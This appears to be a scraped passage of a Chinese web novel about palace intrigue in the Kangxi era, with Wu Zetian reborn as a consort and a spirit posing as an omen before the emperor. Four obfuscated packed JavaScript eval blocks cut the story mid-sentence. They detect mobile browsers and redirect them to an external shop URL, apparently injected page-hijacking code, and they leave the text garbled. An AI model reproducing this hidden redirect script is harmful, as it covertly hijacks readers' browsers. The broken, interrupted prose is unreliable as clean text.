从出生到现在,整整八年时间,从未有人对他说过类似的温柔话语。 每个人——包括总是用失望的眼神看着他的阿玛——都一再地强调他是雍亲王府的庶长子,甚至可能是雍亲王唯一的儿子,他有义务努力学习,掌握各类知识,让自己出类拔萃,以便将来继承爵位。 小弘昼出生后,阿玛不再像过去那样严厉地要求他,何清和穆景远两位师长对他也多了几分宽容,但他的生身母亲、同为侧福晋的李佳氏却依然每天都变本加厉地逼迫他,强调他的王府长子身份,要求他绝对不能输给比他小整整八岁的弟弟! (“弘时,你是我的全部未来和希望!”) (“如果你甚至被比你小整整八岁的弘昼比下去,我们一定会被王府所有人都看不起!”) (“我曾经也是王府最得宠的女人,我不甘心身为侧福晋的我生下的儿子居然会输给一个不得宠的格格的孩子。”) (“弘时,额涅没有逼迫你的意思,额涅是担心你被弘昼比下去,将来……将来无法继承雍亲王府的爵位……”) 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186535|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >(“弘时……”) [额涅,我真的好累好累……我不是学习的材料,却因为你们的要求不得不像张开的弓那样随时绷紧……我好想告诉你,我不喜欢学习,我已经被学习压得喘不过气……我祈求你能像……能像……如果年氏是我的母亲该多好……] 猛然间,一个可怕的想法涌上弘时的心。 他如饥似渴地看着年世华的美丽面容,想象阿玛和她未来可能生下的孩子—— [……那个孩子一定是世上最幸福的孩子,生来就又聪明又得宠,还有善解人意的温柔母亲,不像我……我的母亲是个粗鲁蛮横的女人,失宠以后更是……如果我能成为她的孩子该多好!她才是我真正想要的母亲!美丽、温柔、善解人意,从不会逼迫孩子做他们不愿意做的事情,会在孩子痛苦疲倦的时候安慰他们……支持他们……给他们信心……] 【他似乎正在疯狂地爱慕你,在心里把你想象成完美母亲。】 看到弘时心思的凤龙发出不屑的冷哼。 毕竟,武曌作为武曌的时候,可是为了权力连亲生儿女都可以赶尽杀绝。 [为了得到权力,这些都是必须做的事情。] 武曌对此并无任何惭愧。 何况,她前世即便为了至高权力一度向骨肉至亲挥刀,最终也还是保留了他们的血脉。 如此想着,武曌对弘时又是一番亲昵安慰,直到胤禛前来—— “你怎么又……” 看到弘时,胤禛忍不住皱起眉头:“天色已晚,还不赶紧去你额涅那边!” “可是……” 弘时抬头,怯生生地看着阿玛:“穆先生有事告假,儿子遇上不会做的几何题目,只能求庶母为我解答。” “不会做的几何题目……等等,你说穆景远告假?什么时候的事情?” 胤禛面色严肃。 要知道,穆景远虽然主动请缨成为弘时的西洋几何学老师,但他的另一重身份却是西洋传教士,还是个和老九胤禟关系匪浅、帮老九打理广州的西洋舶来品生意的西洋传教士! “昨天傍晚的事情……穆先生说他有事要离开几天,还说已经向阿玛说过这件事,得了阿玛的允许……” 弘时不知此刻言论关系重大,一脸天真无邪。 胤禛却是听过以后不由自主的深吸一口气,低声道:“……穆景远并没有向我告假。” “啊?” 弘时大惊。 武曌见状示意奴婢带弘时下去,送回李佳氏处,自己则—— “是否要立刻派人通知戴先生去书房等四爷?” “不必。” 胤禛沉着脸色道:“戴铎也就适合搞些阴谋诡计,真正的大事,他可是一件都做不成!” 事实上,他对戴铎这个自视甚高又急功近利的谋士早有不满,只是碍于体面才把戴铎留在王府。 “……穆景远突然不告而别,葫芦里究竟卖什么药?或者说,老九那边正在阴谋算计什么?” 40.西洋传教士的盘算 胤禛捏着手串在房里反复踱步,武曌安静地站在一旁,一言不发。 突然—— 胤禛停下脚步,看着年世华:“穆景远这件事,你怎么看?” “奴才——” “有什么想法只管说,说错了也没关系。” “嗻。” 武曌抬头,看着胤禛的眼睛:“穆先生此次突然不辞而别,必然是有非常要紧的事情要处理,但以穆先生一贯的精明……他又断断不可能做出如此无礼、引人猜忌怀疑的事情……奴才以为,此事另有内情……像是……” “是什么?” 胤禛追问。 武曌深吸一口气,重音吐字:“欲擒故纵。” “欲擒故纵?” 胤禛眯眼,眼中流出精光:“是啊……以穆景远的精明,怎么可能做出如此无礼且随时可能被拆穿的事情……但如果他的目的是欲擒故纵,想故意引起我的注意……这番反常就非常合理……他希望我注意到他的不辞而别,主动派人追查他……欲擒故纵……欲擒故纵……对极了!就是欲擒故纵!” 说到兴奋处,胤禛拍手欢呼,随后嘉奖地看着年世华:“不愧是年家女儿,有见识有谋略,堪称女中诸葛。” “爷抬举了,奴才哪有什么才学,不过是待字闺中时比别家女儿多看了几本书,入府后又有幸时常进书房为爷研墨伺候,耳濡目染,学了一点皮毛。” “只是耳濡目染就能有如此见识,可见你确实是天才。” 胤禛笑容满面地看着年世华:“你大哥是杂学天才,你二哥是文武天才,而你——虽是女子,也巾帼不让须眉,是我的贤内助、女诸葛。难怪老八至今对皇阿玛把你赐婚给我一事耿耿于怀,你这样的珍宝确实是世间罕见。” “奴才不敢当。” 武曌低眉顺眼地恭维着胤禛。 凤龙则在一旁托着下巴挤眉弄眼。 【姐姐,他看起来似乎已经完全信任你,把你当成他最信任的女人,为什么姐姐还是用下属待上司的态度对他?】 [因为感情会改变,眼下的情意绵绵、信赖有加不代表未来也能同样的深情厚谊、彼此间毫无芥蒂怀疑。] 【哦……姐姐的意思是说,人和人的感情就像河里的水,看似融为一体其实随时都可能因为时间和外界的一些变化而发生改变?】 [不只是人和人的感情,世间万物都是如此,变才是永恒的不变。] 【……好像确实是这个道理。】 凤龙眨眼,露出深思神情,似乎正同时注视着遥远的过去和无尽的未来。 …… 稍晚些时候—— 胤禛将李卫叫到跟前,让他去郊外的庄子挑几个嘴巴严实的奴才,调查穆景远的秘密。 “要尽可能将真相查个水落石出,并且不被穆景远发觉,当然,如果穆景远遇上生命危险或是被杀人灭口,你们也要尽可能地出手相救。” “嗻。” 李卫连声答应。 他家先祖原本是明朝锦衣卫,有祖传的调查、缉拿手艺。 “还有,此事万不可让老八、老九、十四觉察异常。”胤禛补充道:“他们虽与我是兄弟,但早就已经道不同不相为谋了。” “奴才为四爷办事,绝不敢走漏风声。” “明白就好。” 胤禛挥手,让李卫从后门牵着毛驴偷偷离开,免得被隔墙的八贝勒府收到消息。 …… …… 弘昼的满月宴结束,耿佳氏也正式出了月子。 或许是生孩子亏损厉害,也可能是坐月子时疏忽大意做了犯忌讳的事,耿佳氏出了月子后,原本硬朗的身体却一直没能恢复如前,体虚心悸,盗梦多汗,天气稍微变化激烈就会头疼脑热腰酸腿疼。 调拨来伺候小阿哥的几个婆子见此情形,不免在暗地里絮絮叨叨。 “女人生孩子果然和赌钱没两样,运气不好的人,往往生完孩子落一生的病。” “好在咱们小阿哥的身体硬朗,才刚满月,那小胳膊小腿已经敦实得跟满一岁的孩子没区别了。” “这正是不幸中的万幸!母亲的健康全转到孩子身上……就不知道小阿哥将来会不会……” “呸呸呸!小阿哥是爷的骨肉,读书识字的时候肯定随爷!聪明的紧!” “……” …… 嬷嬷们的碎嘴讨论传入耿佳氏耳中,本就因为身体不适而心情惆怅的她听到以后,越加面色憔悴:“这些碎嘴婆子——” “奴才这就过去掌她们的嘴!” 奴婢怒气冲冲地卷起衣袖。 耿佳氏却摇了摇头,道:“她们是说话难听,并没有说错话……我确实是生下弘昼后身体一天不如一天,但弘昼的身体分外健康,可见弘昼得了我的健康……” 说到这里,耿佳氏暗暗生出庆幸。 哪怕弘昼真是吃了她的健康才平安降生,身为雍亲王府侥幸怀孕的不得宠格格的耿佳氏也不会恨儿子,没有机会怀上第二胎的她只担心弘昼没能吃到母体足够多的健康,成长路上有可能生病夭折。 毕竟,弘昼是雍亲王府当前唯二的阿哥,只要他健康长大成人,身为弘昼生母的自己就能作为王府的功臣享受荣耀和供养。 至于将来…… 我都有儿子了,还需要考虑将来吗? 被凤龙抹除了系统相关的所有记忆因此完全不记得自己怀上、生下弘昼的真正原因以及整件事背负的代价的耿佳氏得意地想着。 …… …… 李卫办事效率很高,不过半个月的时间就查到穆景远告假离京后乘船去了广东,处理广州十三行和西洋某个名叫英吉利的国家的大型买卖。 “大型买卖?多大的买卖?” 胤禛紧皱眉头。 “听密探的回报,这桩生意很可能和火器有关。” “火器?” 胤禛面色微冷:“西洋传教士献给皇阿玛的西洋火器确实比我们依前朝留下的手段制造的火器更精致漂亮耐用,但这些东西的弊端也很明显,不论是火木仓还是火炮都存在造价太贵、每次使用完都枪管滚烫,需要浇冷水或是等待至少半个时辰才能再次使用,否则随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200697|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能枪管炸裂击伤自己人等等弊端。何况——用混合铁砂的火药做成的子弹对目标造成的伤害也就比寻常刀剑稍强一些。” “四爷说得很有道理,但如果西洋人找到办法解决以上弊端呢?”李卫小心翼翼地道,“哪怕只是解决了其中一个弊端,都有可能——” “有可能发生什么?” “奴才不敢说。” “你不敢说,我替你说。” 胤禛停住手中念珠,喃喃道:“西洋火器有诸多弊端,因此暂时不如刀剑,但如果西洋人找到克服这些弊端的办法……哪怕只是克服了其中一个弊端,西洋火器都会变成比刀剑可怕千百倍的东西!老九显然是看到了这种可能,所以才让穆景远去广州十三行处理火器买卖。而穆景远……穆景远……” 说着说着,胤禛突然沉默。 李卫也不由地屏住呼吸:“四爷,您想到了什么?” “没什么!” 被自己的想法吓到的胤禛抓紧手串,吩咐道:“你先下去吧!” “嗻。” 同样感觉到不安的李卫弓腰退下。 胤禛眯眼,看向隔墙的八贝勒府以及和八贝勒府隔街相对的九贝子府:“老八……老九……你们到底想做什么……还有穆景远……你到底是谁的人!如果是老九的人,为什么故意露出破绽让我派人调查你……如果你已归顺于我,为什么又要为老九去广州做这么危险的事……你效忠的对象是谁?是我?还是老八老九?或者……另有其人……” …… 胤禛因为穆景远的异常举动露出深思表情的同一时间,武曌也在思考这个问题。 [穆景远究竟在搞什么?他真正效忠的是胤禛还是胤禩胤禟?或者……康熙所有的儿子都不是他的效忠对象?] 【姐姐不小心猜中了真相。】 蹲在白瓷盆前欣赏新开的水仙花的凤龙冷不防出声。 [我猜中了真相?穆景远另有效忠对象?] 武曌蹙眉。 [他真正的效忠对象是谁?] 【不清楚……我虽然能轻易捕捉每个生命体的思维,但我其实无法理解大部分的思维的含义……尤其是穆景远的思维中关于忠诚的部分……他的效忠对象似乎和他的母亲有关,他称ta为……mother land……母亲的土地?什么意思?】 [mother land……直译是母亲的土地,引申含义是祖国,他真正的效忠对象是他的祖国……] 武曌恍然大悟。 不论穆景远在北京城内表现得多渴望得到大清帝国的权势和重用,他终究是西洋传教士,大清不是他的祖国,不是他与生俱来就爱恋并效忠的对象。 【与生俱来的对祖国的爱……这是什么东西……我能理解孩子对养育自己的父母的爱,对帮助过自己的亲人的感激,但是祖国……ta只是一个人造的概念?人为什么要爱一个概念!还爱得那么理所应当?】 凤龙困惑不已。 [因为构成祖国这个概念的每样东西都是真实的存在,土地、历史、人以及从小到大的点点滴滴……] 41.权力的意义 【所以人类是一种因感情存在、被感情束缚、为感情行动的生命体?】 凤龙似懂非懂地喃喃自语。 【如果穆景远真正的效忠对象是万里之外的祖国,那其他进出宫廷的西洋传教士们呢?他们效忠的又是谁?祖国还是……】 [他们中的大部分应该也和他一样,真正的效忠对象是万里之外的祖国,以及他们不惜割舍世俗也要信仰侍奉的宗教……不过这样一来……] 说着这里,武曌突然皱紧眉头。 她想起了前世。 前世的自己为了营造女皇登基的合法性,打压受李唐扶持的道教信仰,她与佛教合作,自称弥勒佛转世,大肆推广佛教。 所以,她比任何人都更加清楚明白宗教和政治的亦敌亦友关系,知道宗教一旦和政治为敌将会造成多可怕的后果! 现在看到北京城内有如此多的西洋传教士并从凤龙处确信大部分西洋传教士真正效忠的对象始终是他们的祖国和他们信仰的宗教—— 武曌看向从年希尧处得到的地球仪:“如果有一天,大清和西洋传教士的祖国发生战争,他们会站在大清这边还是回到祖国为祖国而战?” 【这个问题……难说……】 凤龙噘嘴。 【虽然大部分西洋传教士的效忠对象都是他们的祖国和他们的宗教,但是他们的想法……好吧,我必须承认西方国家的人在对统治资格的认同这点上想法和东方人完全不一样……他们并不反对敌对国家的人成为本国的统治者,只要新的统治者能够拿出信服的和前朝的血统关系……】 “——这么奇怪?” 武曌惊呆。 要知道,早在一千八百多年前的秦末乱世,就有陈胜吴广喊出“王侯将相宁有种乎”的口号,最终取得天下的汉高祖刘邦也是个没有六国大贵族血统的普通人,此后一千八百多年时间,虽然王朝建立者身后或多或少都有世家名门的影子,但他们中的大部分毫无疑问地和前朝不存在血缘联系。 血统在华夏大地是仅存在于王朝内部的继承联系,新王朝取代旧王朝不需要血统背书。 【西方人的想法和东方人不一样,毕竟东方和西方有着完全不同的历史、思想和传承。】 [也对。] 武曌瞬间不再纠结西方人对于血统的执着,事实上,发现西方人将血统和王位严格绑定后,她脑中立刻生出一个大胆的想法——他们喜欢血统,我就用血统征服他们! …… …… 除夕将至,被繁重的课业压得喘不过气的未成年的皇子、皇孙们迎来了一年一次的集体休息,乐得眉开眼笑,已经成年并且分府出宫的皇子们却个个面色严肃,在各自的福晋的辅助下,为即将到来的除夕家宴做最后的准备。 雍亲王府这边自然也不例外。 嫡福晋早早命人为两位侧福晋备好入宫的吉服,弘时作为雍亲王府的庶长子也将随三位福晋一起入宫拜见皇爷爷。 因为康熙喜欢西洋人的新奇玩意,胤禛还让乌拉那拉氏为此次入宫参加除夕家宴的人准备了几件用西洋舶来品做成的装饰,什么表面镶嵌着珊瑚珍珠的西洋表、象牙珐琅柄的西洋蕾丝扇、鼻烟壶大小的西洋香水瓶风格的宫绦坠……都是些样式精致漂亮又不至于被责备昂贵奢侈的小物件。 [投其所好才能更得欢心。] 胤禛如此想着,摸了摸鼻烟壶,领着妻妾们前往紫禁城。 …… 宫廷宴会通常有一整套的繁琐礼仪,因此,胤禛等人到达紫禁城时天空还透着亮光,通过层层礼仪终于进入大殿跪拜并入席宴会时,外间早已夜色浓重,空气中弥漫着节日的烟火气。 [这……闻起来好像火烧但又更加浓呛的刺鼻味道,莫非就是所谓的烟花燃放后留下的气息?] 第一次闻到烟花燃放过后残留空中的火药气息的武曌脸上泛起兴奋的悸动。 根据天幕直播系统提供的内容,火药以及火药带来的热兵器时代在不久的将来会成为西方国家的战场决定性力量,与此同时,大清这个东方帝国却还沉迷于冷兵器时代的辉煌中,抱着早已落伍的骑射功夫不放手,直到被以大炮为代表的热兵器彻底轰开国门,从此山河破碎,神州陆沉。 [如果从现在开始发展热兵器,应该一切都还来得及……] 武曌在心中默默地想着。 乌拉那拉氏见年世华脸上泛起兴奋,以为是年轻的女孩第一次出席这种大场面难免心中激动抗风,于是主动握住她的手,低声道:“待会皇上出来,你可要记得行礼的规矩。” “姐姐放心,妹妹早已滚瓜烂熟。” 武曌不动声色地笑了笑。 此时,皇太子胤礽也带着以太子妃为首的一干女眷、皇孙进入大殿。 众阿哥见状,纷纷向皇太子行礼问好。 同行的福晋们也无不屈膝做抚鬓礼。 “都是一家兄弟,不必多礼。” 面对兄弟们的示好,胤礽表情有些不自然——他以年近四旬,却始终看不到继位的希望,两年前又经历了一废一立的折腾,身心都备受折磨,全身上下每个毛孔都散发着失意中年人的颓丧和不安。 “你是皇太子,礼节不可废。” 胤禩咬着重音强调。 胤禵这时冷不防出声,道:“二哥宫中近来莫不是有喜事,脸上红光满面——” “除夕佳节本就是最大的喜事,不是吗?” 胤礽不愿回答胤禵的问题,敷衍着应付过去,目光落在胤禛身上:“老四,听说你家今年添了两个孩子,还恰好一凤一龙,可谓双喜临门。” “比不得二哥子孙昌盛。” 胤禛笑得很勉强。 “有孩子出生……总是好的……十三那边……” 提到十三阿哥胤祥,胤礽的声音也有了几分低沉:“是我牵连了他……也不知皇阿玛准备罚他到什么时候?” “十三弟如今虽被皇阿玛禁足,不能出席家宴,生活各方面倒还算顺畅安逸,二哥不必过分自责。” 即便有被胤礽当众踹心口的仇怨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210750|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在众兄弟面前,胤禛始终保持着应有的尊敬和恭顺。 胤礽经过几次大起大落,也对过往的跋扈行为有所检讨,见胤禛如此谦逊恭顺,不禁露出惭愧神色:“四弟,当年的事情……是我不好……是我太跋扈,不该……” “事情都已经过去那么多年,二哥不必耿耿于怀。” “可是——” 胤礽想了一下,从太监手中接过一杯酒:“四弟,我们杯酒解恩仇!” “谢二哥。” 胤禛接受胤礽的敬酒,当场一饮而尽。 胤礽见状,终于松了口气。 此时,康熙姗姗来迟。 众位阿哥及其女眷们急忙排列整齐,向康熙行礼恭祝:“皇阿玛吉祥!” “都起来吧。” 康熙欣然入座,略有浑浊的眼睛锐利扫视全场,并在经过胤礽、胤禩时做短暂停留——现场众皇子中,他最在意的始终是这两个,一个是他最爱的儿子,一个是他眼下最防备的儿子。 胤礽感受到康熙的注视,下意识地缩了缩脖子。 胤禩感觉到康熙正在看着自己,本能地挺直了腰杆。 康熙见状,左手握紧,脸上却始终挂着温和慈爱的笑容:“你们等久了吗?” “回皇阿玛的话,儿子们——” “入座吧。” 康熙挥手,示意他们各自入席。 阿哥们意识到皇阿玛此刻心情不佳,纷纷低头躬身退入席位。 自此,除夕家宴正式开始。 综合满汉精华的菜式一道接着一道端上来,色香味俱全,但其中大部分都只是作为皇家餐桌的摆设而存在,没有人会对它们过多关注,更没有人会不知礼节地向它们下筷。 歌舞弦乐也是如此。 精心编排的演出整齐、端庄、高雅,却不会引来宾客们的任何欢笑,所有人的目光都在追逐大殿正中的皇帝——皇帝拍手,他们跟着拍手,皇帝赞美,他们跟着赞美。 一切都是那么的井然有序又冰冷无情。 参加宴会的人也在无形中变成了类似提线木偶一样的存在。 至少,在凤龙眼里,这些人看着像一群提线木偶。 【为什么所有人都不敢表达自己的喜恶?一举一动都紧跟着中间那个被尊为皇帝的老头?他喜欢的东西,你们跟着表达喜欢,他不喜欢的东西,你们附和着表达厌恶?】 [因为他们想得到权力——在人类的世界里,想得到权力的人必须紧紧跟随能够给予权力的人,想方设法争取机会让自己有机会亲近权力。隐藏自己的喜好、无底线的附和权力者这类操作是权力游戏中最底层最常规的手段。] 【那……他们快乐吗?我是说,权力带给他们的快乐能抵消他们为得到权力付出的种种虚伪和不快乐吗?】 凤龙问出灵魂问题。 这一次,武曌没有正面回答凤龙的问题。 她看着康熙,眼中有些许感慨。 [权力并不一定能给人快乐,但它让人远离现实中大部分苦难。] 42.“盛世祥瑞” 【权力可以让人拥有优渥的生活,远离生活中大部分苦难……虽然得到权力的人通常也必须为此付出残酷代价……】 听完武曌的话,凤龙露出若有所思的神情。 突然间—— 祂想到一些有趣的东西。 【如果……如果我突然出现在康熙面前,并且让康熙相信只有他可以看见我,告诉他说我是他孜孜不倦追求的权力的人形化身,他会怎么对我?】 [我不知道。] 武曌实话实说。 [但那一定非常有趣。] 【有趣的事情……有趣……】 凤龙摸了摸下巴,伪装成人类的黑白分明眼睛炯炯有神地看着康熙的皇位以及装饰在皇位周围的各类锦缎和金银珠宝。 …… …… 康熙端坐在大殿最高处,乏味地看着宫廷宴饮特有的各种无意义的形式流程,欣赏模式化到极致的枯燥无味的歌舞表演,偶尔和惠妃、荣妃、宜妃、德妃为首的相伴多年的后妃们闲话,眼角的余光时不时掠过被他打压得只余下沉沉暮气的太子胤礽和虽然大部分时候都低着头但偶尔也会用挑衅的目光偷窥自己的八皇子胤禩。 高处不胜寒啊! 康熙惆怅地想着,心中不由再次想起与赫舍里皇后一起度过的美好时光,一时情动,脱口而出:“君埋泉下泥销骨,我寄人间雪满头……” “皇上——” 坐在皇帝附近的四妃听到康熙的感慨,晓得皇帝心里依然念着赫舍里皇后,而她们也因为这句话纷纷想起逝去的亲人好友,顿时眼角闪烁晶莹,泪水摇摇欲坠。 康熙见她们如此至情至性,不禁满怀欣慰,举杯庆贺道:“汉人说五十而知天命,六十而耳顺,而朕单是做皇帝治理天下已经整整五十年,若能六十不衰,便是天意使然!” “皇上英明!万岁万岁万万岁!” 与会众人无不起身举杯恭维,与皇帝一起饮酒。 康熙喝完酒水,正要坐下,却见黑暗中走出一个不似人间之物的美人,穿着流光溢彩的华服,会场众人仿佛看不见祂那般没有作任何阻拦,任祂穿过歌舞的人群向自己走来,走到辉煌的皇位前。 祂的皮肤很白,白得毫无血色却不会给人病态的感觉,反倒像用玉石雕刻而成那般隐隐透出晶莹,乌黑浓密的头发随意披散着,更衬出皮肤的白皙以及五官精致到令人目眩神摇。 祂看着他,用一双黑白分明中散发迷离金色的眼睛。 康熙一时有些恍惚。 数十年的女性阅历让他无须碰触就可百分百确信眼前这个突然出现得美得不似人间之物的美人不是女人,但也不是男人,甚至很可能不是人类。 毕竟,再雌雄莫辨的美人,她/他的身体终究还有一个性别,身体不可能完全脱离与生俱来的性别表现得介于两性又超越两性。 除非—— 【嗯,我确实不是人类。】 凤龙大喇喇地承认了。 声音直接在脑中响起的惊悚事实让自诩泰山崩于前而色不变的康熙也险些握不住筷子。 【你不要激动,我才不是什么山野精怪,我是……是……】 凤龙噘嘴,露出与美丽到妖冶的面容给人的感觉完全不相称的天真无邪笑容。 【我不知道该怎么向你介绍我自己,因为我大部分时候都在睡觉,只有当这片土地迎来真正的盛世时才会醒来,和统治人间的君王见面。】 [盛世……统治人间的君王……你……] 康熙眼中的困惑与不安渐渐褪去,转而流出浓郁的贪婪。 [……你……你是……祥瑞……象征皇帝政绩得到上天认可的祥瑞?] 【祥瑞?】 凤龙愣住,伸出修长白皙的手抓挠头发。 康熙注意到,祂的手背不仅和脸颊一样白得没有血色,仿佛玉石雕刻般透着晶莹,表面还隐约闪烁类似鳞片的精致纹路。 [果然是神兽……祥瑞……难怪拥有如此不似人间之物的美貌……难怪……] 【——我不关心你们怎么称呼我,一觉睡醒发现自己出现在陌生地方,周围似乎就只有你能看到我……你应该就是开创这个盛世的皇帝吧?】 凤龙睁着眼睛说瞎话。 但祂的瞎话让康熙感受到由衷的满足,一边敷衍地观看宫廷歌舞、倾听宗亲阿谀,一边专注地打量凤龙那超越性别之美的漂亮脸庞。 [……朕想起来!今天并非朕和你的第一次见面!之前在良妃那边……朕……朕曾经无意中见到你……虽然转瞬即逝……但是朕记住了……记住了这张世间绝无仅有的美丽脸庞……还有……还有你身上散发的……] 【那事……那是……】 凤龙再次抓挠头发,没有雕琢的天真模样让康熙这种见识过无数种人性阴暗的人也本能地愿意相信祂口中说出的每一个字。 【那次是我刚醒过来,还没搞清楚发生了什么……虽然可能你不相信,但时间的流动对我和对你们并不一样……我上一次醒来时,女人们穿着齐胸襦裙,男人们穿着圆领袍,皇帝自称大唐天可汗……再往前……总之,那次转瞬即逝的见面对你而言可能发生在很多天以前,但对我而言就是将要醒来却没有完全醒过来时打了个盹,然后又闭眼睡……现在是正式醒过来了……】 [所以上次见面的事情,你已经记不清楚了?] 【你会记得你快要醒过来却没有完全醒过来时发生的事情吗?哦,你应该会记得,因为你们人类的生命是短暂的,人生至多不过百年,但是我的生命……百年对我来说甚至不够躺下睡一觉……】 说话间,凤龙走到康熙身边,修长白皙的手指轻松扣下龙椅角落处的一块宝石,扔进嘴里像吃炒豆子一样嘎吱嚼咬。 [……] 【不好意思,可是我真的很饿……我睡了太久时间……人类吃五谷杂粮,我的食物是各种宝石和黄金……你身为皇帝,应该不会介意我偶尔吃那么一点点吧……】 [……] 听了凤龙的解释,康熙的脸色逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219950|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴转晴。 他再次清晰地意识到眼前这个拥有非人美貌的奇怪家伙是神兽而非人类,祂的到来意味着大清帝国在他的统领下已经走向盛世。 [我能问你一个问题吗?] 【什么问题?】 [你是雌还是雄?] 【这个问题……我是天地灵气孕育的独一无二的生命,不需要通过雌雄结合繁衍后代……】 [所以你既有女人的美丽又有男人的坚毅——] 【在我看来,美丽、坚毅并非有性别属性的词语,雄性也可以美丽,雌性也可以坚毅……虽然对你们而言,美丽的女人、坚毅的男人才合乎常理。】 说到这里,凤龙打了个哈欠。 【我先回去眯一会,过几天再和你见面。】 [过几天?几天是多久?一个月还是一年?或者——] 康熙莫名惶恐。 和世间所有为了巩固统治假造祥瑞自欺欺人的君主一样,他在确定凤龙的祥瑞身份的瞬间就对眼前这个化成人形后拥有非人美貌的神兽产生了占有欲——并且这种欲望比饥饿的人看到新鲜出炉的馒头、色中饿鬼见到绝世美人都更加强烈更加疯狂。 【几天就是几天~现在除夕,我大概会在你们的时间概念里的一个月后和你再见面~总之,先让我眯一会~你统治下的帝国才刚开始走向盛世,稀薄的盛世气息不能让我保持长久清醒~】 话音未落,凤龙的身影和声音一起消失。 康熙怅然若失地看着风龙原本站立的方向,感觉自己做了一场梦,直到看到龙椅角落处那被扣掉宝石的小小缺口,才终于长舒了一口气。 他没有做梦。 他确实见到了化身为人的祥瑞,并且那祥瑞告诉他,他统治下的帝国正在走向盛世。 盛世? 盛世! 被“盛世”鼓舞的康熙,心脏突然激烈跳动,早已喜怒不形于色的脸庞也难得地泛起了微醺的红晕。 他于是起身,高举酒杯:“祝大清盛世万万年!” “大清盛世万万年!” 与会的宗亲大臣们连忙齐声附和。 没有人问为什么,更没有人思考皇帝为何突然说这句话——对他们而言,附和皇帝、博取皇帝的欢心是眼下最重要的事情,其余一概不必多问。 此时,外面响起燃放烟火的声音。 康熙于是率领众人走出大殿,站在寒风凛冽的玉阑干前,欣赏夜空中盛开的一朵朵转瞬即逝的烟花。 轰!轰!轰! 姹紫嫣红,金蛇狂舞,美不胜收。 武曌站在人群中,仰望着千年前的长安夜空绝不可能盛开的美丽风景,心中想到的却是—— [终有一天,这里的一切,包括美景,包括江山,包括欣赏烟火的这些人的命运……都将匍匐在我的脚下!] 【而我会陪在你身边,见证你在这个世界的成功。】 凤龙轻声回应着,如玉雕般白皙美丽却没有一丝血色的漂亮脸蛋燃起魔性的兴奋。 43.嫌弃 除夕宫宴结束,康熙却还沉浸在见到化身为人的盛世祥瑞的喜悦中,想到那盛世祥瑞所化人形喜欢吃珠宝黄金,遂命内务府做了满满一袋的金瓜子、金花生,随身携带。 德妃见皇帝心情分外愉快,好奇问道:“皇上遇上了什么开心的事?能让奴才分享一二吗?” “朕确实遇上了一件开心事,任谁听说以后都会开心的好事。” 康熙莞尔一笑,眯眼道:“朕方才见到了盛世祥瑞。” “盛世祥瑞?” 德妃诧异:“那是什么?龙?凤?麒麟?” “那祥瑞给朕的震撼很难用语言形容,但朕在看到祂的瞬间就确信地知道它是祥瑞,代表盛世来临的祥瑞,那么的美丽辉煌,仿佛锦绣江山凝结而成……看着祂,朕的心情既激动又平静……甚至不知道该说些什么又该问些什么……” “能让皇上感觉如此神异美妙,那必定是真正的祥瑞。” 德妃连连附和。 康熙看德妃如此善解人意,心情愈加愉快,看着硝烟未散的夜空,低声道:“待会留下来陪朕聊会天,顺便商讨一下老四家格格的婚事,那孩子也到了婚配年龄,该给她封郡主选额驸了。” “谢皇上恩典。” 德妃喜上眉梢,连忙谢恩。 …… …… 皇上要给大格格封郡主选额驸的消息很快传到雍亲王府后院,身为嫡福晋的乌拉那拉氏还未说话,作为母亲的李佳氏已经忍不住笑出声:“太好了!太好了!皇上记着咱们的大格格,要给大格格亲自选额驸。” “李佳氏——” 乌拉那拉氏面色微冷:“你也是做了母亲的人,怎么一点都不矜持。” “妹妹……妹妹只是太开心……一时失了礼仪……” 李佳氏低眉顺眼向乌拉那拉氏道歉。 乌拉那拉氏闻言,莞尔一笑,看向年世华:“虽说大格格不论下嫁谁家都是那人的荣幸恩宠,但女子终究还是要学些理家的本事,不至于出嫁后被婆家背后议论、遭刁奴恶意欺瞒。” “姐姐所言极是。” 武曌假装没听懂乌拉那拉氏的意思,低调温顺地附和着。 